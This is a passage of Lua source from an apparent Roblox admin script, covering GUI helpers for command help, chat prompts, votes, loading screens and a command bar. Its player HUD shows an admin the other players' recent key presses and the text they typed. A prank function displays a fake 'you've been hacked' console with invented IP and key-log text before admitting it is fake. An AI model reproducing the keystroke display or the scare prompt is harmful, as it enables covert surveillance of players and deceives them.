4579 | local DefPos = Form.Dragger.Position | |
4580 | for i = 1,15 do | |
4581 | Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2)) | |
4582 | wait(0.05) | |
4583 | end | |
4584 | Form.Dragger.Position = DefPos | |
4585 | CanClick = true | |
4586 | end)() | |
4587 | end | |
4588 | end) | |
4589 | ReloadIcons() | |
4590 | ||
4591 | Closed.Event:connect(function() | |
4592 | for Num,Data in pairs(Tasks) do | |
4593 | if Data[1] == Form then | |
4594 | Icon:Destroy() | |
4595 | table.remove(Tasks, Num) | |
4596 | end | |
4597 | end | |
4598 | ReloadIcons() | |
4599 | end) | |
4600 | end) | |
4601 | end | |
4602 | ||
4603 | function GUI:ShowDebtStats(Player, ManualText) | |
4604 | local Text = ManualText | |
4605 | if not ManualText then | |
4606 | Text = "CANNOT GET STATISTICS" | |
4607 | local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates") | |
4608 | if RawPage then | |
4609 | local _,GetStart = string.find(RawPage, 'debtDisplayFast">') | |
4610 | local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>') | |
4611 | Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2)) | |
4612 | end | |
4613 | end | |
4614 | ||
4615 | local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945) | |
4616 | local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true | |
4617 | ||
4618 | return Text | |
4619 | end | |
4620 | ||
4621 | function GUI:ShowCommand(Player, CommandTrigger, Dialog) | |
4622 | if not Player then return nil end | |
4623 | if not CommandTrigger then return nil end | |
4624 | ||
4625 | if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end | |
4626 | ||
4627 | local CommandKey = CommandTrigger | |
4628 | ||
4629 | if not Commands[CommandKey] then | |
4630 | for CommandNames,_ in pairs(Commands) do | |
4631 | for _,CommandName in pairs(CommandNames) do | |
4632 | if CommandName == CommandKey then | |
4633 | CommandKey = CommandNames | |
4634 | end | |
4635 | end | |
4636 | end | |
4637 | end | |
4638 | ||
4639 | local CommandData = Commands[CommandKey] | |
4640 | ||
4641 | local BodyText = "No valid command has been entered" | |
4642 | local TitleText = "Error" | |
4643 | local CanExe = false | |
4644 | if CommandData then | |
4645 | if Dialog then | |
4646 | Dialog:Invoke(true) | |
4647 | end | |
4648 | local PlayerRank = RANK:GetRank(Player) | |
4649 | if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end | |
4650 | if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end | |
4651 | ||
4652 | TitleText = "Command: "..CommandKey[1] | |
4653 | BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[ | |
4654 | ||
4655 | ||
4656 | Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[ | |
4657 | ||
4658 | ||
4659 | Description: ]]..CommandData[2]..[[ | |
4660 | ||
4661 | ||
4662 | Arguments: ]]..CommandData[3]..[[ | |
4663 | ||
4664 | ||
4665 | Minimum rank needed: ]]..CommandData[4]..[[ | |
4666 | ||
4667 | ||
4668 | Fun command: ]]..STRING:BoolString(CommandData[5])..[[ | |
4669 | ||
4670 | ||
4671 | Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[ | |
4672 | ||
4673 | ||
4674 | Http Command ]]..STRING:BoolString(CommandData.Http) | |
4675 | end | |
4676 | ||
4677 | _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe) | |
4678 | if Dialog then | |
4679 | Closed.Event:connect(function() Dialog:Invoke(false) end) | |
4680 | Minimized.Event:connect(function() Dialog:Invoke(false) end) | |
4681 | end | |
4682 | end | |
4683 | ||
4684 | function GUI:CreateHUD(Speaker) | |
4685 | if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end | |
4686 | ||
4687 | local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui") | |
4688 | if SG then SG:Destroy() end | |
4689 | SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui" | |
4690 | ||
4691 | local function AddHUD(Player, Char) | |
4692 | if not Char or not Char:FindFirstChild("Head") then return nil end | |
4693 | ||
4694 | local Rank = RANK:GetRank(Player) | |
4695 | local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0) | |
4696 | local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1 | |
4697 | local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1) | |
4698 | local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1) | |
4699 | local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1) | |
4700 | coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do | |
4701 | InfoLabel.Text = "Name: "..Player.Name..[[ | |
4702 | Rank: ]]..RANK:GetRank(Player)..[[ | |
4703 | Age: ]]..STRING:FindAge(Player.AccountAge) | |
4704 | if Speaker.Character and Speaker.Character:FindFirstChild("Head") then | |
4705 | InfoLabel.Text = InfoLabel.Text..[[ | |
4706 | Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude) | |
4707 | end | |
4708 | if LastKeys[Player.UserId] then | |
4709 | local Keys = "" | |
4710 | local KeyLog = {} | |
4711 | for _,KeyData in pairs(LastKeys[Player.UserId]) do | |
4712 | table.insert(KeyLog, KeyData[1]) | |
4713 | if KeyData[2] == 8 then | |
4714 | Keys = string.sub(Keys, 1, #Keys - 1) | |
4715 | elseif KeyData[2] == 13 then | |
4716 | Keys = Keys.." " | |
4717 | else | |
4718 | Keys = Keys..string.char(KeyData[2]) | |
4719 | end | |
4720 | end | |
4721 | KeyLabel.Text = table.concat(KeyLog, "\n") | |
4722 | KeyOutput.Text = Keys | |
4723 | end | |
4724 | HUD.Image = "rbxassetid://"..RankHUD[Rank] | |
4725 | end end)() | |
4726 | ||
4727 | local CharRev,Removing = nil,nil | |
4728 | CharRev = Player.CharacterRemoving:connect(function() | |
4729 | PlayerHUD:Destroy() | |
4730 | CharRev:disconnect() | |
4731 | Removing:disconnect() | |
4732 | end) | |
4733 | Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then | |
4734 | PlayerHUD:Destroy() | |
4735 | CharRev:disconnect() | |
4736 | Removing:disconnect() | |
4737 | end end) | |
4738 | end | |
4739 | ||
4740 | local function ConnectHUD(Player) | |
4741 | if Player ~= Speaker then | |
4742 | if Player.Character then | |
4743 | AddHUD(Player, Player.Character) | |
4744 | end | |
4745 | ||
4746 | Player.CharacterAdded:connect(function(Char) | |
4747 | if Speaker then | |
4748 | AddHUD(Player, Char) | |
4749 | else return nil | |
4750 | end | |
4751 | end) | |
4752 | end | |
4753 | end | |
4754 | ||
4755 | for _,Player in pairs(Server.Players:GetPlayers()) do | |
4756 | ConnectHUD(Player) | |
4757 | end | |
4758 | ||
4759 | Server.Players.PlayerAdded:connect(ConnectHUD) | |
4760 | end | |
4761 | ||
4762 | function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents) | |
4763 | if not Player or not Player:FindFirstChild("PlayerGui") then return nil end | |
4764 | local Stopped = false | |
4765 | ||
4766 | local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID) | |
4767 | Frame.Size = UDim2.new(1, 0, 1, -30) | |
4768 | Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0) | |
4769 | ||
4770 | local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2 | |
4771 | local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false | |
4772 | local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14" | |
4773 | ||
4774 | local function AddLine(Speaker, MessageText, MessageColor) | |
4775 | MessageText = STRING:DetermineFilter(MessageText, Speaker, Player) | |
4776 | if MessageColor == true then MessageColor = Color3.new(1,0,0) end | |
4777 | if not MessageColor then MessageColor = GUI:ContrastColor() end | |
4778 | local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1 | |
4779 | local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color | |
4780 | local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor | |
4781 | Bounds.Parent = Frame | |
4782 | end | |
4783 | ||
4784 | local RPR = CORE:CreateRemotePropertyReader(ChatBox) | |
4785 | ||
4786 | local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions" | |
4787 | local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed" | |
4788 | local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage" | |
4789 | ||
4790 | local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed" | |
4791 | local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB" | |
4792 | ||
4793 | CORE:ExecuteResource("MessagePromptHandler", Frame) | |
4794 | ||
4795 | wait(0.1) | |
4796 | ||
4797 | if PreAdd then | |
4798 | for Num,Add in pairs(PreAdd) do | |
4799 | AddLine(Add[1], Add[2], Add[3]) | |
4800 | end | |
4801 | end | |
4802 | ||
4803 | --[[ | |
4804 | CORE:ExecuteResource("ChatBoxLocal", ChatBox) | |
4805 | ||
4806 | CORE:HandleEvent(ChatBox, "MouseEnter", function() | |
4807 | if ChatBox.Text == "Click here or press the '-' key" then | |
4808 | ChatBox.Text = "" | |
4809 | end | |
4810 | end) | |
4811 | ]] | |
4812 | ||
4813 | local function FireSendPressed() | |
4814 | local Text = CORE:ReadProperty(RPR, Player, "Text") | |
4815 | if Text ~= "" and Text ~= "Click here or press the '-' key" then | |
4816 | SendPressed:Fire(Text) | |
4817 | FakeCB.Visible = true | |
4818 | ClearCB:InvokeClient(Player) | |
4819 | end | |
4820 | end | |
4821 | ||
4822 | Closed.Event:connect(function() | |
4823 | if Stopped == false then | |
4824 | Stopped = true | |
4825 | if SpeakerEvents then SpeakerEvents("Leave") end | |
4826 | end | |
4827 | end) | |
4828 | ||
4829 | CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed) | |
4830 | EnterPressed.OnServerInvoke = FireSendPressed | |
4831 | AddMessage.OnInvoke = AddLine | |
4832 | ||
4833 | if SpeakerEvents then | |
4834 | SpeakerEvents("Join") | |
4835 | ||
4836 | coroutine.wrap(function() | |
4837 | repeat wait() until not Frame or not Frame.Parent | |
4838 | if Stopped == false then | |
4839 | Stopped = true | |
4840 | SpeakerEvents("Leave") | |
4841 | end | |
4842 | end)() | |
4843 | end | |
4844 | ||
4845 | return SendPressed, AddMessage | |
4846 | end | |
4847 | ||
4848 | function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter) | |
4849 | if tonumber(Time) then ShowFormButtons = false end | |
4850 | if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end | |
4851 | local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons) | |
4852 | local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor() | |
4853 | local Clicked = nil | |
4854 | local Alive = true | |
4855 | ||
4856 | local function ClosePrompt(ButtonName) | |
4857 | Alive = false | |
4858 | Close:Invoke() | |
4859 | Clicked = ButtonName | |
4860 | end | |
4861 | ||
4862 | for Num,Select in pairs(Buttons) do | |
4863 | local Name = Select | |
4864 | local Style = "White" | |
4865 | local TextColor3 = Color3.new(0,0,0) | |
4866 | if type(Select) == "table" then | |
4867 | Name = Select[1] | |
4868 | if Select[2] then Style = Select[2] end | |
4869 | if Select[3] then TextColor3 = Select[3] end | |
4870 | elseif type(Select) == "string" then | |
4871 | local Case = string.lower(Select) | |
4872 | if Case == "ok" then | |
4873 | Name = "Ok" | |
4874 | Style = "Primary" | |
4875 | TextColor3 = Color3.new(1,1,1) | |
4876 | elseif Case == "yes" then | |
4877 | Name = "Yes" | |
4878 | Style = "Gray" | |
4879 | TextColor3 = Color3.new(0,1,0) | |
4880 | elseif Case == "no" then | |
4881 | Name = "No" | |
4882 | Style = "Red" | |
4883 | TextColor3 = Color3.new(1,0,0) | |
4884 | end | |
4885 | end | |
4886 | ||
4887 | if Style == "None" then Style = "Custom" end | |
4888 | if Style == "Casual" then Style = "RobloxButton" end | |
4889 | if Style == "Red" then Style = "RobloxButtonDefault" end | |
4890 | if Style == "Gray" then Style = "RobloxRoundButton" end | |
4891 | if Style == "Primary" then Style = "RobloxRoundDefaultButton" end | |
4892 | if Style == "White" then Style = "RobloxRoundDropdownButton" end | |
4893 | ||
4894 | local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style | |
4895 | CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end) | |
4896 | SOUND:BindButton(Button) | |
4897 | end | |
4898 | ||
4899 | if tonumber(Time) then | |
4900 | local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18" | |
4901 | Frame.Size = Frame.Size + UDim2.new(0,0,0,-30) | |
4902 | Frame.Position = Frame.Position + UDim2.new(0,0,0,30) | |
4903 | ||
4904 | for i = Time,0,-1 do | |
4905 | for ii = 1,10 do | |
4906 | if Alive == true then | |
4907 | Ticker.Text = i | |
4908 | wait(0.1) | |
4909 | else | |
4910 | break | |
4911 | end | |
4912 | end | |
4913 | end | |
4914 | if Alive == true then | |
4915 | ClosePrompt() | |
4916 | end | |
4917 | end | |
4918 | ||
4919 | repeat wait() until Alive == false | |
4920 | return Clicked | |
4921 | end | |
4922 | ||
4923 | function GUI:Vote(Speaker, Players, Text, Time) | |
4924 | if not Players or not Text or #Players <= 0 then return end | |
4925 | ||
4926 | local Votes = {} | |
4927 | local Tick = 0 | |
4928 | ||
4929 | for _,Player in pairs(Players) do | |
4930 | local FilterText = STRING:DetermineFilter(Text, Speaker, Player) | |
4931 | local CanVote = true | |
4932 | if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end | |
4933 | if CanVote == true then | |
4934 | coroutine.wrap(function() | |
4935 | local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true) | |
4936 | if Answer == nil then Answer = "Unknown" end | |
4937 | table.insert(Votes, Answer) | |
4938 | end)() | |
4939 | end | |
4940 | end | |
4941 | repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time | |
4942 | wait(2) | |
4943 | if Speaker and Speaker:FindFirstChild("PlayerGui") then | |
4944 | local Total = #Players | |
4945 | local Yes,No,Unknown = 0,0,0 | |
4946 | for _,Vote in pairs(Votes) do | |
4947 | if Vote == "Yes" then Yes = Yes + 1 | |
4948 | elseif Vote == "No" then No = No + 1 | |
4949 | end | |
4950 | end | |
4951 | Unknown = #Players - #Votes | |
4952 | ||
4953 | local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863) | |
4954 | local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor() | |
4955 | local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes: | |
4956 | ]]..Yes.."/"..Total..[[ | |
4957 | ]]..math.ceil((Yes/Total)*100).."% " | |
4958 | local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No: | |
4959 | ]]..No.."/"..Total..[[ | |
4960 | ]]..math.ceil((No/Total)*100).."% " | |
4961 | local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote: | |
4962 | ]]..Unknown.."/"..Total..[[ | |
4963 | ]]..math.ceil((Unknown/Total)*100).."% " | |
4964 | end | |
4965 | end | |
4966 | ||
4967 | --GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30) | |
4968 | ||
4969 | function GUI:LoadGui(Player, Text, InfoText) | |
4970 | if not Player or not Player:FindFirstChild("PlayerGui") then return nil end | |
4971 | local Dead = false | |
4972 | ||
4973 | local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false) | |
4974 | local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319" | |
4975 | local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left" | |
4976 | local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom" | |
4977 | if InfoText then Info.Text = InfoText end | |
4978 | ||
4979 | local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui" | |
4980 | local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo" | |
4981 | ||
4982 | CloseGui.OnInvoke = function() | |
4983 | Close:Invoke() | |
4984 | Dead = true | |
4985 | end | |
4986 | AddInfo.OnInvoke = function(AddText) | |
4987 | Info.Text = AddText | |
4988 | end | |
4989 | ||
4990 | coroutine.wrap(function() | |
4991 | for i = 0,math.huge,3 do | |
4992 | if Dead == false and Frame then | |
4993 | WaitIcon.Rotation = i | |
4994 | wait() | |
4995 | else | |
4996 | break | |
4997 | end | |
4998 | end | |
4999 | end)() | |
5000 | ||
5001 | coroutine.wrap(function() | |
5002 | while Dead == false and Frame do | |
5003 | wait(0.5) | |
5004 | LoadLabel.Text = Text.."." | |
5005 | wait(0.5) | |
5006 | LoadLabel.Text = Text..".." | |
5007 | wait(0.5) | |
5008 | LoadLabel.Text = Text.."..." | |
5009 | wait(0.5) | |
5010 | LoadLabel.Text = Text..".." | |
5011 | wait(0.5) | |
5012 | LoadLabel.Text = Text.."." | |
5013 | wait(0.5) | |
5014 | LoadLabel.Text = Text | |
5015 | end | |
5016 | end)() | |
5017 | ||
5018 | wait(1) | |
5019 | ||
5020 | return CloseGui, AddInfo | |
5021 | end | |
5022 | ||
5023 | function GUI:FakeHack(Player) coroutine.wrap(function() | |
5024 | if not Player or not Player:FindFirstChild("PlayerGui") then return end | |
5025 | local FakeText = [[ | |
5026 | >SHELL: BEGIN | |
5027 | >RUNCODE: | |
5028 | return { | |
5029 | local Hack = {"Account", "Tix", "Robux"}; | |
5030 | function Start(Type, Inject, Scan) | |
5031 | if not Inject then Inject = "In-Game" end | |
5032 | return {Type, Inject, Scan} | |
5033 | end | |
5034 | for Exe,Exploit in pairs(Hack) do | |
5035 | local IP = Start("In-Game",Exploit, | |
5036 | BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT), | |
5037 | {"LOCAL-IP", "SERVER-IP", "HOST-IP"} | |
5038 | ) | |
5039 | Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end | |
5040 | for i = 1,#Injection[2] do | |
5041 | Log("PlayerData", "ConnectHost", "PLAYERNAME") | |
5042 | end | |
5043 | local PlayerProxy = newproxy(true) | |
5044 | setmetatable(PlayerProxy,Injection[3],{ | |
5045 | __index = function(StealData, ...) local Data = unpack(...) | |
5046 | return {Data,"IP-KEY-LOG: 'PLAYERNAME'"} | |
5047 | end; | |
5048 | }) | |
5049 | end | |
5050 | Log("HACKED HOST: PLAYERNAME") | |
5051 | } | |
5052 | >HACKED HOST: PLAYERNAME | |
5053 | ||
5054 | ]] | |
5055 | local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui") | |
5056 | if SG then SG:Destroy() end | |
5057 | SG = Instance.new("ScreenGui", Player.PlayerGui) | |
5058 | SG.Name = "MML Hack Gui" | |
5059 | local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200) | |
5060 | local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end) | |
5061 | local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code" | |
5062 | for i = 1,#FakeText do | |
5063 | HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i) | |
5064 | if math.random(1,5) == 1 then | |
5065 | wait() | |
5066 | end | |
5067 | end | |
5068 | HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name) | |
5069 | wait(3) | |
5070 | HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a | |
5071 | fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]] | |
5072 | X.Visible = true | |
5073 | end)() end | |
5074 | ||
5075 | function GUI:CommandBar(Player) | |
5076 | if not Player or not Player:FindFirstChild("PlayerGui") then return nil end | |
5077 | ||
5078 | local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true) | |
5079 | local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false | |
5080 | local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor() | |
5081 | local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0) | |
5082 | ||
